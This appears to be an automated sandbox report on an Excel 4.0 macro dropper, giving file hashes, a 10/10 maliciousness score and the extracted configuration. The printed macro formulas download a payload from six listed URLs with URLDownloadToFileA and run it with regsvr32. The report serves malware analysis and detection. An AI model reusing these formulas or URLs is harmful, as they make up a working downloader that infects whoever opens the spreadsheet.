General

  • Target

    38146988dfbe9a3bb01e8cfb05a655a78f253e82b669dce4f614d1ee4ddff66e

  • Size

    46KB

  • Sample

    241120-c4wrgszbjl

  • MD5

    1cc77da245baf5f04aab46997376d4a8

  • SHA1

    e2c11a46f06811a395d64df52259f06f142a1929

  • SHA256

    38146988dfbe9a3bb01e8cfb05a655a78f253e82b669dce4f614d1ee4ddff66e

  • SHA512

    a2740795415904be9071b013df3db9aa28b9cbd905dbaf600308368aad17d03c03bd6254bbfcf8c73ba4641d10c44310ca72938f170aa11d432f0bfe397884f8

  • SSDEEP

    768:cwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:1WDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://congresoapp2021.com/u07di/wkdehSgS/

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

http://tournhatrang.asia/cgi-bin/2gnqrN/

https://novinex.net/wp-admin/7WlWVE5fQKnZ1/

http://support.techopesolutions.com/gq2z3/31ecS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://congresoapp2021.com/u07di/wkdehSgS/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tournhatrang.asia/cgi-bin/2gnqrN/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://novinex.net/wp-admin/7WlWVE5fQKnZ1/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/31ecS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://congresoapp2021.com/u07di/wkdehSgS/

xlm40.dropper

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

xlm40.dropper

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

xlm40.dropper

http://tournhatrang.asia/cgi-bin/2gnqrN/

Targets

    • Target

      38146988dfbe9a3bb01e8cfb05a655a78f253e82b669dce4f614d1ee4ddff66e

    • Size

      46KB

    • MD5

      1cc77da245baf5f04aab46997376d4a8

    • SHA1

      e2c11a46f06811a395d64df52259f06f142a1929

    • SHA256

      38146988dfbe9a3bb01e8cfb05a655a78f253e82b669dce4f614d1ee4ddff66e

    • SHA512

      a2740795415904be9071b013df3db9aa28b9cbd905dbaf600308368aad17d03c03bd6254bbfcf8c73ba4641d10c44310ca72938f170aa11d432f0bfe397884f8

    • SSDEEP

      768:cwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:1WDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks